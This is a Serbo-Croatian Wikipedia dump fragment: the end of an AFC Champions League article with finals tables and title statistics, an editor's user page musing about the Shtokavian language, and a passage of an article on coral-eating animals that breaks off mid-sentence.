|{{flagicon|KOR}}'''[[Jeonbuk Hyundai Motors]]''' |align=center|<small>2 - 0 / 1 - 2</small> <br/> '''3-2''' |{{flagicon|SYR|1980-2024}} [[Al-Karamah]] |-bgcolor=#f5faff |align=center|[[AFC Liga prvaka 2007.|2007]] |{{flagicon|JPN}}'''[[Urawa Red Diamonds]]''' |align=center|<small>1 - 1 / 2 - 0</small> <br/> '''3-1''' |{{flagicon|IRN}} [[Sepahan Isfahan]] |-bgcolor=#f5faff |align=center|[[AFC Liga prvaka 2008.|2008]] |{{flagicon|JPN}}'''[[Gamba Osaka|Gamba]]''' |align=center|<small>3 - 0 / 2 - 0</small> <br/> '''5-0''' |{{flagicon|AUS}} [[Adelaide United]] |-bgcolor=#f5faff |align=center|[[AFC Liga prvaka 2009.|2009]] |{{flagicon|KOR}}'''[[FC Pohang Steelers|Pohang Steelers]]''' |align=center|'''2 - 1''' |{{flagicon|SAU}} [[Al Ittihad]] |-bgcolor=#f5faff |align=center|[[AFC Liga prvaka 2010.|2010]] |{{flagicon|KOR}}'''[[Ilhwa Chunma]]''' |align=center|'''2 - 1''' |{{flagicon|IRN}} [[Zob-Ahan Isfahan]] |-bgcolor=#f5faff |align=center|[[AFC Liga prvaka 2011.|2011]] |{{flagicon|QAT}}'''[[Al-Sadd Sports Club|Al Sadd]]''' |align=center|'''2 - 2 (p. p.)''' |{{flagicon|KOR}} [[Jeonbuk Hyundai Motors]] |-bgcolor=#f5faff |align=center|[[AFC Liga prvaka 2012.|2012]] |{{flagicon|KOR}}'''[[Ulsan Hyundai]]''' |align=center|'''3 - 0''' |{{flagicon|SAU}} [[Al-Ahli Saudi FC]] |-bgcolor=#f5faff |align=center|[[AFC Liga prvaka 2013.|2013]] |{{flagicon|CHN}}'''[[Guangzhou Evergrande]]''' |align=center|<small>2 - 2 / 1 - 1</small> <br/> '''3-2 {{gfc}}''' |{{flagicon|KOR}} [[FC Seoul]] |-bgcolor=#f5faff |align=center|[[AFC Liga prvaka 2014.|2014]] |{{flagicon|AUS}}'''[[Western Sydney Wanderers]]''' |align=center|<small>1 - 0 / 0 - 0</small> <br/> '''1-0''' |{{flagicon|SAU}} [[Al-Hilal Saudi Club|Al-Hilal SC]] |-bgcolor=#f5faff |align=center|[[AFC Liga prvaka 2015.|2015]] |{{flagicon|CHN}}'''[[Guangzhou Evergrande]]''' |align=center|<small>0 - 0 / 1 - 0</small> <br/> '''1-0''' |{{flagicon|ARE}} [[Al Ahli Dubai FC]] |-bgcolor=#f5faff |align=center|[[AFC Liga prvaka 2016.|2016]] |{{flagicon|KOR}}'''[[Jeonbuk Hyundai Motors]]''' |align=center|<small>2 - 1 / 1 - 1</small> <br/> '''3-2''' |{{flagicon|ARE}} [[Al-Ain Sports and Cultural Club|Al Ain]] |-bgcolor=#f5faff |align=center|[[AFC Liga prvaka 2017.|2017]] |{{flagicon|JPN}}'''[[Urawa Red Diamonds]]''' |align=center|<small>1 - 1 / 1 - 0</small> <br/> '''2-1''' |{{flagicon|SAU}} [[Al-Hilal Saudi Club|Al-Hilal SC]] |-bgcolor=#f5faff |align=center|[[AFC Liga prvaka 2018.|2018]] |{{flagicon|JPN}}'''[[Kashima Antlers]]''' |align=center|<small>2 - 0 / 0 - 0</small> <br/> '''2-0''' |{{flagicon|IRN}} [[Persepolis Teheran]] |-bgcolor=#f5faff |align=center|[[AFC Liga prvaka 2019.|2019]] |{{flagicon|SAU}}'''[[Al-Hilal Saudi Club|Al-Hilal SC]]''' |align=center|<small>1 - 0 / 2 - 0</small> <br/> '''3-0''' |{{flagicon|JPN}} [[Urawa Red Diamonds]] |-bgcolor=#f5faff |align=center|[[AFC Liga prvaka 2020.|2020]] |{{flagicon|KOR}}'''[[Ulsan Hyundai]]''' |align=center|'''2 - 0 ''' |{{flagicon|IRN}} [[Persepolis Teheran]] |-bgcolor=#f5faff |align=center|[[AFC Liga prvaka 2021.|2021]] |{{flagicon|SAU}}'''[[Al-Hilal Saudi Club|Al-Hilal SC]]''' |align=center|'''2 - 0 ''' |{{flagicon|KOR}} [[FC Pohang Steelers|Pohang Steelers]] |-bgcolor=#f5faff |align=center|[[AFC Liga prvaka 2022.|2022]] |{{flagicon|JPN}}'''[[Urawa Red Diamonds]]''' (3) |align=center|<small>1 - 1 / 1 - 0</small> <br/> '''2-1''' |{{flagicon|SAU}} [[Al-Hilal Saudi Club|Al-Hilal SC]] |-bgcolor=#f5faff |align=center|[[AFC Liga prvaka 2023.-2024.|2023-2024]] |{{flagicon|ARE}}'''[[Al-Ain Sports and Cultural Club|Al Ain]]''' |align=center|<small>1 - 2 / 5 - 1</small> <br/> '''6-3''' |{{flagicon|JPN}} [[Yokohama Marinos]] |- ! colspan=4|AFC Liga prvaka Elite |-bgcolor=#f5faff |align=center|[[AFC Liga prvaka Elite 2024.-2025.|2024-2025]] |{{flagicon|SAU}} '''[[Al-Ahli Saudi FC]]''' |align=center|'''2-0''' |{{flagicon|JPN}} [[Kawasaki Frontale]] |- |} == Statistike == === Pobjede po klubu === {| class="toccolours sortable" style="border-collapse:collapse; margin-left:0.5em; margin-bottom:0.5em" border=1 cellpadding=2 cellspacing=0 |- bgcolor="efefef" ! Klub ! Država ! Naslovi ! Sezone |- | [[Al-Hilal Saudi Club|Al-Hilal SC]] | {{flag|SAU}} | align="center" | '''4''' | align="left" | [[Azijsko klupsko prvenstvo 1991.-1992.|1991-92]], [[Azijsko klupsko prvenstvo 1999.-2000.|1999-00]], [[AFC Liga prvaka 2019.|2019]], [[AFC Liga prvaka 2021.|2021]] |- | [[FC Pohang Steelers|Pohang Steelers]] | {{flag|KOR}} | align="center"| '''3''' | align="left"| [[Azijsko klupsko prvenstvo 1996.-1997.|1996-97]], [[Azijsko klupsko prvenstvo 1997.-1998.|1997-98]], [[AFC Liga prvaka 2009.|2009]] |- | [[Urawa Red Diamonds|Red Diamonds]] | {{flag|JPN}} | align="center"| '''3''' | align="left"| [[AFC Liga prvaka 2007.|2007]], [[AFC Liga prvaka 2017.|2017]], [[AFC Liga prvaka 2022.|2022]] |- | [[MK Maccabi Tel Aviv|Maccabi Tel Aviv]] | {{flag|ISR}} | align="center"| '''2''' | align="left"| [[Azijsko klupsko prvenstvo 1969.|1969]], [[Azijsko klupsko prvenstvo 1971.|1971]] |- | [[Esteglal Teheran]] | {{flag|IRN}} | align="center"| '''2''' | align="left"| [[Azijsko klupsko prvenstvo 1970.|1970]], [[Azijsko klupsko prvenstvo 1990.-1991.|1990-91]] |- | [[Al-Sadd Sports Club|Al Sadd]] | {{flag|QAT}} | align="center"| '''2''' | align="left"| [[Azijsko klupsko prvenstvo 1988.-1989.|1988-89]], [[AFC Liga prvaka 2011.|2011]] |- | [[Thai Farmers Bank FC|Thai Farmers Bank]] | {{flag|THA}} | align="center"| '''2''' | align="left"| [[Azijsko klupsko prvenstvo 1993.-1994.|1993-94]], [[Azijsko klupsko prvenstvo 1994.-1995.|1994-95]] |- | [[Suwon Bluewings]] | {{flag|KOR}} | align="center"| '''2''' | align="left"| [[Azijsko klupsko prvenstvo 2000.-2001.|2000-01]], [[Azijsko klupsko prvenstvo 2001.-2002.|2001-02]] |- | [[Al Ittihad]] | {{flag|SAU}} | align="center"| '''2''' | align="left"| [[AFC Liga prvaka 2004.|2004]], [[AFC Liga prvaka 2005.|2005]] |- | [[Ilhwa Chunma]] | {{flag|KOR}} | align="center"| '''2''' | align="left"| [[Azijsko klupsko prvenstvo 1995.-1996.|1995-96]], [[AFC Liga prvaka 2010.|2010]] |- | [[Guangzhou Evergrande]] | {{flag|CHN}} | align="center"| '''2''' | align="left"| [[AFC Liga prvaka 2013.|2013]], [[AFC Liga prvaka 2015.|2015]] |- | [[Jeonbuk Hyundai Motors]] | {{flag|KOR}} | align="center"| '''2''' | align="left"| [[AFC Liga prvaka 2006.|2006]], [[AFC Liga prvaka 2016.|2016]] |- | [[Ulsan Hyundai]] | {{flag|KOR}} | align="center"| '''2''' | align="left"| [[AFC Liga prvaka 2012.|2012]], [[AFC Liga prvaka 2020.|2020]] |- | [[Al-Ain Sports and Cultural Club|Al Ain]] | {{flag|ARE}} | align="center"| '''2''' | align="left"| [[AFC Liga prvaka 2002.-2003.|2002-03]], [[AFC Liga prvaka 2023.-2024.|2023-24]] |- | [[Hapoel Tel-Aviv FC|Hapoel Tel Aviv]] | {{flag|ISR}} | align="center"| '''1''' | align="left"| [[Azijsko klupsko prvenstvo 1967.|1967]] |- | [[Busan IPark]] | {{flag|KOR}} | align="center"| '''1''' | align="left"| [[Azijsko klupsko prvenstvo 1984.-1985.|1984-85]] |- | [[Furukawa Electric]] | {{flag|JPN}} | align="center"| '''1''' | align="left"| [[Azijsko klupsko prvenstvo 1986.|1986]] |- | [[Yomiuri]] | {{flag|JPN}} | align="center"| '''1''' | align="left"| [[Azijsko klupsko prvenstvo 1987.-1988.|1987-88]] |- | [[Liaoning FC|Liaoning]] | {{flag|CHN}} | align="center"| '''1''' | align="left"| [[Azijsko klupsko prvenstvo 1989.-1990.|1989-90]] |- | [[PAS Teheran]] | {{flag|IRN}} | align="center"| '''1''' | align="left"| [[Azijsko klupsko prvenstvo 1992.-1993.|1992-93]] |- | [[Jubilo]] | {{flag|JPN}} | align="center"| '''1''' | align="left"| [[Azijsko klupsko prvenstvo 1998.-1999.|1998-99]] |- | [[Gamba Osaka|Gamba]] | {{flag|JPN}} | align="center"| '''1''' | align="left"| [[AFC Liga prvaka 2008.|2008]] |- | [[Western Sydney Wanderers]] | {{flag|AUS}} | align="center"| '''1''' | align="left"| [[AFC Liga prvaka 2014.|2014]] |- | [[Antlers]] | {{flag|JPN}} | align="center"| '''1''' | align="left"| [[AFC Liga prvaka 2018.|2018]] |- | [[Al-Ahli Saudi FC]] | {{flag|SAU}} | align="center"| '''1''' | align="left"| [[AFC Liga prvaka Elite 2024.-2025.|2024-25]] |}{{clear}} === Naslovi po državama === {| class="wikitable sortable" |- ! Država ! Pobjede ! Finala ! Klubovi prvaci ! Klubovi finalisti |- | {{flag|KOR}} |align=center| '''12''' |align=center| 7 | [[FC Pohang Steelers|Pohang Steelers]] (3)<br />[[Ilhwa Chunma]] (2)<br />[[Suwon Bluewings]] (2)<br />[[Jeonbuk Hyundai Motors]] (2)<br />[[Ulsan Hyundai]] (2)<br />[[Busan IPark]] (1) | [[Ilhwa Chunma]] (2)<br />[[FC Seoul]] (2)<br />[[Jeonbuk Hyundai Motors]] (1)<br />[[Yangzee]] (1)<br />[[FC Pohang Steelers|Pohang Steelers]] (1) |- | {{flag|JPN}} |align=center| '''8''' |align=center| 6 | [[Urawa Red Diamonds|Red Diamonds]] (3)<br />[[Furukawa Electric]] (1)<br />[[Yomiuri]] (1)<br />[[Gamba Osaka|Gamba]] (1)<br />[[Jubilo]] (1)<br />[[Antlers]] (1) | [[Jubilo]] (2)<br />[[Yokohama Marinos]] (2)<br />[[Urawa Red Diamonds|Red Diamonds]] (1)<br />[[Kawasaki Frontale]] (1) |- | {{flag|SAU}} |align=center| '''7''' |align=center| 10 | [[Al-Hilal Saudi Club|Al-Hilal SC]] (4)<br />[[Al Ittihad]] (2)<br />[[Al-Ahli Saudi FC]] (1) | [[Al-Hilal Saudi Club|Al-Hilal SC]] (5)<br />[[Al-Ahli Saudi FC]] (2)<br />[[Al Ittihad]] (1)<br />[[Al Nassr]] (1)<br />[[Al Shabab]] (1) |- | {{flag|IRN}} |align=center| '''3''' |align=center| 6 | [[Esteglal Teheran]] (2)<br />[[PAS Teheran]] (1) | [[Esteglal Teheran]] (2)<br />[[Persepolis Teheran]] (2)<br />[[Sepahan Isfahan]] (1)<br />[[Zob-Ahan Isfahan]] (1) |- | {{flag|CHN}} |align=center| '''3''' |align=center| 2 | [[Guangzhou Evergrande]] (2)<br />[[Liaoning FC|Liaoning]] (1) | [[Liaoning FC|Liaoning]] (1)<br />[[Dalian Shide]] (1) |- | ''{{flag|ISR}}''{{efn|Od [[1974]] nije više član AFC-a.}} |align=center| '''3''' |align=center| 1 | [[MK Maccabi Tel Aviv|Maccabi Tel Aviv]] (2)<br />[[Hapoel Tel-Aviv FC|Hapoel Tel Aviv]] (1) | [[Hapoel Tel-Aviv FC|Hapoel Tel Aviv]] (1) |- | {{flag|ARE}} |align=center| '''2''' |align=center| 3 | [[Al-Ain Sports and Cultural Club|Al Ain]] (2) | [[Al-Ain Sports and Cultural Club|Al Ain]] (2)<br />[[Al Ahli Dubai FC]] (1) |- | {{flag|QAT}} |align=center| '''2''' |align=center| 1 | [[Al-Sadd Sports Club|Al Sadd]] (2) | [[Al Arabi]] (1) |- | {{flag|THA}} |align=center| '''2''' |align=center| 1 | [[Thai Farmers Bank FC|Thai Farmers Bank]] (2) | [[Police Tero]] (1) |- | {{flag|AUS}} |align=center| '''1''' |align=center| 1 | [[Western Sydney Wanderers]] (1) | [[Adelaide United]] (1) |- | {{flag|IRQ}} |align=center| 0 |align=center| 2 | align=center| - | [[Al Shorta]] (1)<br />[[Al Rasheed]] (1) |- | {{flag|MYS}} |align=center| 0 |align=center| 1 | align=center| - | [[Selangor]] (1) |- | {{flag|OMN}} |align=center| 0 |align=center| 1 | align=center| - | [[Oman Club]] (1) |- | {{flag|SYR}} |align=center| 0 |align=center| 1 | align=center| - | [[Al Karamah]] (1) |} == Napomene == {{notelist}} == Reference == {{reflist}} == Povezano == * [[AFC Champions League Two]] * [[AFC Challenge League]] {{Normativna kontrola}} [[Kategorija:Međunarodna klupska fudbalska takmičenja]] ngslk0g1m0ci4fezm9xfqeknqf8axm2 2 4718126 42602587 42601571 2026-05-27T17:56:34Z Fertile Snowcent 268167 Što? 42602587 wikitext text/x-wiki Pozdrav!.. Ne znam baš što napisati ovdje. ^^’ Dugo sam vremena bila na Wikipediji, no nisam uređivala. Onda sam si napravila nalog te sam konačno počela malo uređivati Wikipediju svog materinjeg jezika - hrvatskog. <s>No, nakon istraživanja i duge prepirke same sa sobom sam konačno došla do zaključka da hrvatski uistinu jest dio srpskohrvatskog velejezika. Stoga sam prešla na srpskohrvatsku Wikipediju, koju sad uređujem malo po malo kad naiđem na neku greškicu. Srpskohrvatski je jedan velejezik, stoga zašto ne uređivati njegovu Wikipediju? Zašto raditi odvojeno kad imamo mogućnost raditi zajedno na najvećem i najboljem izdanju ove knjiške na našem velejeziku?</s> <s>Znači nemam pojma, stalno se dvoumim oko nazivlja... Uređujem i hrvatsku i hrvatskosrpsku kako na koju naiđem.</s> <s>Ili bi trebala biti četiri zasebna izdanja ili bi trebala biti samo jedna hrvatskosrpska Wikipedija, ovo je pomalo suludo.</s> Ovaj je dio trenutno nepotreban. Štokavski je jezik, tu se i ISO slaže, samo ga oni zovu hrvatskosrpskim. U redu, hm. Mislim... jezikoslovno je ispravnije narječja zvati jezicima. Ovo je ''štokavska'' Wikipedija, to je to. Sve su četiri državne osnove štokavske. Štokavski je jezik. Čakavski je drugi jezik, kajkavski treći itd. Iskreno, mogla bih reći kako je pojam „hrvatskog” ili „srpskog” jezika djelomično... nestvaran? To su pojmovi kojima se obilježavaju svi govori kojima govore ti narodi, ali to su zapravo različiti jezici, oni se razlikuju na više načina, ne samo rječnički, a ne priznavanjem njih kao zasebnih jezika upravo ti govori izumiru polako. Stoga bih mogla nastaviti uređivati ''ovu'' Wikipediju, jer ovo je ''slobodna knjiga znanja na štokavskom jeziku''. Usput, pojam „štokavski” je znatno bolji od pojma „hrvatskosrpski” ili suludo dugačak „bosanskocrnogorskohrvatskosrpski” koji se koristi danas. Zapravo, ovdje se čak i ISO slaže: i čakavski i kajkavski i štokavski imaju svoje kodove. Volim jezično čistunstvo pa donekle često tražim novotvorenice, zastarjelice ili „domaće posuđenice” (posuđenice iz drugih slavenskih jezika) kako bih zamijenila tuđice. == oho == Znači to se tako radi... nova sam ovdje, imam puno za istražiti. armdriy2yajxq9btxm9oi9hf7ii5pvu 0 4720694 42602561 42585421 2026-05-27T15:07:06Z InternetArchiveBot 155863 Rescuing 0 sources and tagging 1 as dead.) #IABot (v2.0.9.5 42602561 wikitext text/x-wiki [[File:Forcipiger flavissimus Yellow Longnose Butterflyfish Papua New Guinea by Nick Hobgood.jpg|thumb|''[[Forcipiger flavissimus]]'' se hrani [[polip]]ima korala]] '''Koraljivor''' je [[mesožder]] koji se hrani [[korali]]ma. Koraljivori su važna grupa grebenskih organizama jer mogu uticati na brojnost, rasprostranjenost i strukturu zajednice korala. Koraljivori se hrane koralima koristeći razne jedinstvene adaptacije i strategije. Poznati koraljivori uključuju određene [[mekušci|mekušce]], [[Člankoviti crvi|člankovite crve]], [[ribe]], [[rakovi|rakove]], [[pljosnati crvi|pljosnate crve]] i [[bodljikaši|bodljikaše]]. Prvi zabilježeni dokaz o koraljivoriji predstavio je [[Charles Darwin]] 1842. godine tokom svog putovanja na brodu [[The Voyage of the Beagle|HMS ''Beagle'']], gdje je pronašao korale u želucu dvije [[Scarinae|ribe papagaj]] iz roda ''[[Scarus]]''. == Historija == Tokom posjete [[Kokosovi otoci|Kokosovim (Keeling) ostrvima]] 1842. godine, Charles Darwin je od jednog Engleza koji je živio na ostrvima saznao da postoje velika jata riba papagaja koje se hrane isključivo koralima.<ref name=":1">{{Cite book|url=https://play.google.com/books/reader?id=J84QAAAAIAAJ&printsec=frontcover&output=reader&hl=en&pg=GBS.PA20|title=The Structure and Distribution of Coral Reefs|last=Darwin|first=Charles|date=1889|publisher=D. Appleton|language=en}}</ref> Darwin je secirao nekoliko riba papagaja i pronašao komadiće korala i fino mljeveni krečnjački materijal u njihovim želucima.<ref name=":1" /><ref name="rotjan">{{cite journal|last1=Rotjan|first1=Randi|last2=Lewis|first2=Sara|date=2008|title=Impacts of coral predators on tropical reefs|url=https://www.int-res.com/articles/meps2008/367/m367p073.pdf|journal=Mar Ecol Prog Ser|volume=367|pages=73–91|doi=10.3354/meps07531|bibcode=2008MEPS..367...73R |doi-access=free}}</ref> To je navelo Darwina da ispravno teoretizira da neke vrste riba papagaja konzumiraju korale i doprinose sedimentu u okolini prenoseći fino mljevene čestice iz koralnih skeleta.<ref name=":1" /> Godine 1952., prve opise organizama koji aktivno konzumiraju korale napisao je [[Jacques Cousteau]] i objavio u ''[[National Geographicu]]''.<ref name="rotjan" /><ref name=":2">{{Cite journal|last1=Cousteau|first1=Jacques-Yves|last2=Ertaud|first2=Jacques|date=1952|title=Fishmen Explore a New World Undersea|journal=National Geographic|volume=CII:4}}</ref> Tokom svog putovanja u Crveno more na brodu [[RV Calypso|RV ''Calypso'']], Cousteau je plivao s parom riba papagaja vrste ''[[Bolbometopon muricatum]]'' i posmatrao ih kako redovno grizu i ostavljaju bijele ožiljke na koralima oko sebe.<ref name=":2" /> Poput Darwina, Cousteau je također primijetio čestice sedimenta koje su se stvarale u otpadu tih riba i taložile na morskom dnu.<ref name=":2" /> Cousteau je primijetio sporu brzinu kojom su papagaji konzumirali korale i primijetio da se čine "bez žurbe" i poput "morskih krava koje pasu kamene pašnjake".<ref name=":2" /> Termin "koraljivor" potiče od latinske riječi {{Lang|la|corallum}} za koral i -''vora'' za jesti ili proždirati.<ref>{{cite news|title=Merriam-Webster Dictionary|url=https://www.merriam-webster.com/|access-date=29 December 2017}}</ref> == Tipovi == Otprilike jedna trećina poznatih koraljivora su obligatni koraljivori, dok su preostale dvije trećine fakultativni koraljivori.<ref name="Cole" /> Obligatni koraljivori se definiraju kao organizmi koji imaju prehranu koja se sastoji od najmanje 80% korala.<ref name="Cole" /> Obligatni koraljivori prisutni su u svim tropskim okeanima, osim [[karipsko more|Kariba]].<ref name="Cole" /> Fakultativni koraljivori se definiraju kao organizmi koji redovno konzumiraju korale, ali oni ne čine veliki postotak njihove prehrane.<ref name="Cole" /> Smatra se da neki fakultativni koraljivori jedu korale kako bi podstakli [[alge|rast algi]]. Mnogi fakultativni koraljivori se također hrane algama, koje se takmiče s koralima za prostor i resurse. Bršćenjem korala mogu se obezbijediti bolji uslovi za rast algi.<ref name="rotjan" /> Agresivna ispaša može održati zajednicu algi u stanju ubrzanog rasta, efikasno sprečavajući prelazak na sporije rastuću zajednicu.<ref name="Cole2011">{{cite journal|last1=Cole|first1=A.J.|last2=Lawton|first2=R.J.|last3=Pratchett|first3=M.S.|last4=Wilson|first4=S.K.|date=2011|title=Chronic coral consumption by butterflyfishes|journal=Coral Reefs|volume=30|issue=1 |pages=85–93|doi=10.1007/s00338-010-0674-6|bibcode=2011CorRe..30...85C |s2cid=25058710 }}</ref> == Strategije ishrane == [[File:Trapezia flavopunctata & Pocillopora.JPG|thumb|right|x170px|Rak roda ''[[Trapezia]]'' na koralu iz roda ''[[Pocillopora]]'']] Organizmi pokazuju različite strategije za konzumiranje korala. Većina koraljivora hrani se [[scleractinia|kamenim koralima]], međutim, nekoliko vrsta se hrani vrstama sa [[octocorallia|mekim tijelom]].<ref name="Cole" /> Ne postoje poznati obligatni koraljivori kojima su izvor hrane meki korali; procjenjuje se da meki korali čine mali procentualni udio prehrane organizama za koje je uočeno da se hrane mekim koralima.<ref name="Cole" /> Najčešći [[rod (taksonomija)|rodovi]] korala koji se konzumiraju su ''[[Acropora]]'', ''[[Pocillopora]]'', ''[[Montipora]]'' i ''[[Porites]]''.<ref name="rotjan" /><ref name="Glynn">{{cite journal|last1=Glynn|first1=Peter W.|date=1986|title=Feeding biology of a Hawaiian sea star corallivore, ''Culcita novaeguineae'' Muller & Troschel|journal=J. Exp. Mar. Biol. Ecol.|volume=96|issue=75–96|pages=75–96|doi=10.1016/0022-0981(86)90014-6}}</ref> Poznato je da koraljivori konzumiraju samo 18 od 111 opisanih rodova korala.<ref name="rotjan" /> === Hranitelji sluzi === Hranitelji sluzi su životinje koje se hrane isključivo koraljnom sluzi.<ref name="rotjan" /> Korali redovno izlučuju sluz u okolnu vodu, pa se smatra da hranjenje njome ne nanosi štetu koralima.<ref name="Cole" /> Međutim, pokazalo se da remeti mikrobne zajednice koje žive na koralima.<ref name="rotjan" /> Mnoge životinje koje se hrane sluzi pokazale su sklonost prema oštećenim koralima, koji obično proizvode više sluzi od neoštećenih.<ref name="Cole" /> === Brstioci === Brstioci jedu koraljno tkivo bez oštećenja njihovog [[kalcijum karbonat]]nog skeleta.<ref name="rotjan" /> Većina koraljivornih vrsta su brstioci.<ref name="Cole" /> === Strugači === Strugači konzumiraju živo koraljno tkivo i male dijelove kalcijum karbonatnog skeleta korala.<ref name="rotjan" /> === Kopači === Kopači konzumiraju živo koraljno tkivo i velike dijelove kalcijum karbonatnog skeleta korala.<ref name="rotjan" /> Kopači se mogu dalje podijeliti na "tačkaste" i "fokusirane". Tačkasti uzimaju ugrize koji su raspršeni po površini kolonije, dok fokusirani grizu više puta na istom području.<ref name="rotjan" /> Nekada se smatralo da je fokusirano grizenje iskazivanje [[teritorij (životinja)|teritorijalnost]]i kod [[Scarinae|riba papagaj]]a, ali je kasnije utvrđeno da je to samo u svrhu prehrane.<ref name="rotjan" /> Od svih vrsta koraljivora, smatra se da kopači imaju najveći utjecaj na zajednice koraljnih grebena zbog velike količine konzumiranog korala i skeleta.<ref name="Cole" /> Osim toga, istraživanja pokazuju da šteta od iskopavanja traje znatno duže nego kod drugih vrsta koraljivora.<ref name="Cole" /> === Bioeroderi === Bioeroderi konzumiraju supstrat mrtvog korala.<ref name="rotjan" /> Smatra se da bioeroderi pomažu u preoblikovanju krajolika koraljnih grebena erodiranjem mrtvih korala.<ref name="rotjan" /> == U prirodi == [[File:Eilat Scuba Parrotfish.JPG|thumb|left|x170px|Ribe papagaji jedu korale u Crvenom moru]] Koraljivorija je relativno rijetka u prirodi; manje od 3% poznatih [[vrsta]] riba, četiri [[Porodica (taksonomija)|porodice]] [[rakovi|rakova]], četiri porodice [[puževi|gastropoda]] i nekoliko [[Rod (taksonomija)|rodova]] [[bodljokošci|bodljokožaca]] identificirani su kao koraljivori.<ref name="Claremont">{{cite journal|last1=Claremont|first1=M.|last2=Reid|first2=D.G.|last3=Williams|first3=S.T.|date=2011|title=Evolution of corallivory in the gastropod genus ''Drupella''|journal=Coral Reefs|volume=30|issue=4|pages=977–990|doi=10.1007/s00338-011-0788-5|bibcode=2011CorRe..30..977C |s2cid=44236600 }}</ref> Koraljivori su prisutni u svim tropskim grebenskim regijama. Regija s najvećim udjelom koralojedih organizama je tropski istočni [[Tihi okean]].<ref name="Enochs">{{cite book|last1=Enochs|first1=Ian C.|last2=Glynn|first2=Peter W.|title=Coral Reefs of the Eastern Tropical Pacific |chapter=Corallivory in the Eastern Pacific |series=Coral Reefs of the World |date=2016|volume=8|pages=315–337|doi=10.1007/978-94-017-7499-4_10|isbn=978-94-017-7498-7}}</ref> === Ribe === [[Chaetodontidae|Ribe leptiri]] čine veliki postotak poznatih korlajivora - od 128 poznatih koraljivornih ribljih vrsta, 69 su vrste ribe leptiri.<ref name="Cole">{{cite journal|last1=Cole|first1=Andrew|last2=Pratchett|first2=Morgan|last3=Jones|first3=Geoffrey|date=2008|title=Diversity and functional importance of coral-feeding fishes on tropical coral reefs|journal=Fish and Fisheries|volume=9|issue=3|pages=286–307|doi=10.1111/j.1467-2979.2008.00290.x|bibcode=2008AqFF....9..286C }}</ref> Osim toga, 50% vrsta riba leptira su imaju upravo taj način ishrane, čineći ga najčešćim u toj skupini.<ref name="Cole" /><ref name="Cole2011" /> Ribe koje se hrane koralima potiču iz 11 različitih porodica,<ref name="Cole" /> a 39 vrsta su obligatni koraljivori.<ref name="Cole" /> Ribe leptiri imaju širok raspon prilagodbi koje olakšavaju konzumiranje korala. Neke ribe leptiri imaju duga usta koja koriste poput [[pinceta|pincete]] za čupanje pojedinačnih koraljnih polipa, a neke koriste zube za struganje koraljnog tkiva.<ref name="rotjan" /> Ribe leptiri koje konzumiraju korale imaju duža crijeva od onih koje to ne rade, što ukazuje na to da je koraljivorima potrebno više vremena za obradu složenih molekula svog izvora hranjivih tvari.<ref>{{Cite journal|last1=Berumen|first1=M. L.|last2=Pratchett|first2=M. S.|last3=Goodman|first3=B. A.|title=Relative gut lengths of coral reef butterflyfishes (Pisces: Chaetodontidae)|journal=Coral Reefs|language=en|volume=30|issue=4|pages=1005–1010|doi=10.1007/s00338-011-0791-x|issn=0722-4028|year=2011|bibcode=2011CorRe..30.1005B|hdl=1912/4940|s2cid=43289299|url=http://darchive.mblwhoilibrary.org/bitstream/1912/4940/1/GutLength-Text-revised_31_Jan_2011_eo_edit_1_feb_11_-_MB_revisions%20eo%20edit%2014%20may%2011%20-%20MLB%20revisions.pdf|hdl-access=free}}{{Dead link|date=May 2026 |bot=InternetArchiveBot |fix-attempted=yes }}</ref> Napuhača vrste ''[[Arothron meleagris]]'' je široko rasprostranjena u tropskim okeanima, ali se smatra posebno značajnim koraljivornom ribom, posebno u tropskom istočnom Pacifiku.<ref name="palacios" /> Ona koristi svoju zubnu ploču nalik kljunu za hranjenje vrhovima razgranatih korala, procijenjenom brzinom od 16 do 20 grama kalcijum karbonata po 1 kvadratnom metru živog korala dnevno.<ref name="palacios" /><ref name="Cole" /><ref>{{cite iucn |author=Shao, K. |author2=Liu, M. |author3=Jing, L. |author4=Hardy, G. |author5=Leis, J.L. |author6=Matsuura, K. |date=2014 |title=''Arothron meleagris'' |volume=2014 |article-number=e.T193662A2255983 |doi=10.2305/IUCN.UK.2014-3.RLTS.T193662A2255983.en |access-date=13 November 2021}}</ref> Uprkos velikoj količini konzumiranog korala, studije pokazuju da ona ima mali utjecaj na brojnost korala u svojoj regiji.<ref name="palacios" /><ref name="Cole" /> [[Scarinae|Ribe papagaji]] su porodica riba koja uključuje nekoliko vrsta koje se hrane koralima. Ribe papagaji koje žive na grebenima imaju zube u donjoj i gornjoj vilici koji su evoluirali u oštricu za rezanje.<ref name=":0">{{Cite book|title=Biology of Parrotfishes|others=Hoey, Andrew S.,, Bonaldo, Roberta M.|isbn=978-1-315-11807-9|edition=First |location=Boca Raton, FL|oclc=1027748886}}</ref> Ta oštrica im omogućava da grebu koraljno tkivo i skelet i da se hrane njime.<ref name=":0" /> Oštrica na njihovim zubima podsjeća na kljun, što je razlog za njihov uobičajeni naziv.<ref name=":0" /> Pored adaptacije oštrice, ribe papagaji također imaju dobro razvijene ukrštene zglobove koji povezuju zubne i zglobne kosti donje vilice, što predstavlja mehaničku prednost koja čini njihov ugriz mnogo jačim.<ref name=":0" /> === Beskičmenjaci === Postoji 48 poznatih vrsta [[beskičmenjaci|beskičmenjaka]] koji se hrane koralima, od čega su 14 obligatni koraljivori.<ref name="rotjan" /> Fakultativni koraljivor ''[[Acanthaster planci]]'' je važan brstioc korala koji se hrani tako što izvrće želudac i koristi svoja cjevasta stopala da raširi želudac preko korala i u pukotine između polipa.<ref name="Cole" /><ref>{{Cite journal|last1=BARNES|first1=D. J.|last2=BRAUER|first2=R. W.|last3=JORDAN|first3=M. R.|date=1970|title=Field and Laboratory Observations of the Crown-of-Thorns Starfish, Acanthaster planci: Locomotory Response of Acanthaster planci to Various Species of Coral|url=https://archive.org/details/sim_nature-uk_1970-10-24_228_5269/page/342|journal=Nature|language=En|volume=228|issue=5269|pages=342–344|doi=10.1038/228342a0|pmid=4394407 |bibcode=1970Natur.228..342B |s2cid=218742 |issn=0028-0836}}</ref> Pojava visoke gustoće populacije te vrste rezultirala je zabilježenim uništenjem velikih područja koralnih grebena, sa izvještajima o 100% smrtnosti korala u lokalizovanim područjima.<ref name="rotjan" /> Procjenjuje se da jedna jedinka ''[[Acanthaster planci]]'' može pojesti do 6 m² živog korala godišnje.<ref name="rotjan" /> [[File:Doornenkroon.JPG|thumb|right|Morska zvijezda na koralu u Crvenom moru]] Rod ''[[Drupella]]'' su obligatni koraljivorni [[morski puž]]evi koji su specijalizirani za brzorastuće vrste ''[[Acropora]]'' i ''[[Montipora]]''.<ref name="rotjan" /> Slično kao kod morskih 